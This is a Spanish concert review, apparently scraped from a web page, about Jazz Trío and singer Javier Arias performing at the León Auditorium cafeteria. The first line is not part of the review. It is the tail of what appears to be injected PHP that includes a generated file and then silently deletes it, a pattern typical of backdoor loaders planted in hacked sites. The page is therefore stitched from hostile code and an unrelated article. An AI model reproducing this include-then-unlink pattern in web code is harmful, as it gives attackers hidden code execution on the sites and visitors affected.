");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?>
2 de Abril de 2005 a las 24:00 en Cafetería Auditorio de León
Jazz Trío y Javier Arias ... El cuarteto definitivo??
Se han venido sucediendo los conciertos del Jazz Trío en la cafetería del auditorio en horario de 24:00 los fines de semana de los últimos meses y de todos los conocedores del género en León es sabido que Julio Aller al piano, Luis Quiñones al contrabajo y Juan Perujo a la batería, no podían defraudar. Son excelentes músicos y conocedores a la perfección de los diferentes pelos y pintas del jazz. No es de extrañar que hayan estado interpretando temas clásicos y menos conocidos del jazz de todos los tiempos con colaboradores de la talla del saxo Freddy Bernal, con reconocido éxito.
Pero lo que nadie esperaba era que se produjera el fenómeno "atmosférico" tan curioso, cuando el cantante Javier Arias, más conocido como el Elvis leonés, añadió su personalísimo toque a la hora de interpretar los más conocidos stándars de la música americana de las primeras décadas del pasado siglo.
Hace unos pocos sábados se produjo un lleno absoluto e inesperado. Las interpretaciones del trío y la forma de cantar de Javier, la fuerza que emanaban era tal que durante momentos se llegó a una especie de éxtasis interpretativo y excepto a los cuatro músicos no se oía una mosca. Un público realmente entregado que ha repetido en los últimos fines de semana.
Los que le conocen, saben que Arias es un intérprete de Jazz con un bagaje importante y con experiencia en los escenarios desde mediados los 80. Si bien es conocido en el mundillo musical por sus espectáculos relacionados con el rey del rock, para él eso no es más que una curiosa anécdota y se encuentra a gusto es desgranando los grandes temas de Gerswing, Porter, Ellington, Bassie... con una voz grave y profunda en ocasiones, que parece sacada de la laringe de un recolector de algodón en los sureños campos de Mississippi, o con un timbre más claro y afilado en los temas con más swing, pero en todo caso, con una forma de interpretar exquisita que nada tiene que envidiar a un Sinatra o a un Crosby.
En definitiva, imaginad, en un ambiente recogido, a la luz de las velas (si, si, velas auténticas) con una tenue y macilenta luz, en esa atmósfera mágica de las frías noches de León, cuatro músicos de jazz van deshojando tema a tema el árbol de la música cuya raíz se pierde en el final de la guerra de secesión americana. Un espectáculo digno de escenarios importantes que aún no ha hecho sino comenzar el despegue en una sala con atmósfera de glamuroso club de Las Vegas. Esta vez han acertado los unos y el otro, es de los shows más agradables de oír y ver que se puede desarrollar en estos momentos en la capital leonesa. Si realmente queréis ver jazz sin que sea "más de lo mismo", si queréis algo diferente, no os los perdais, Jazz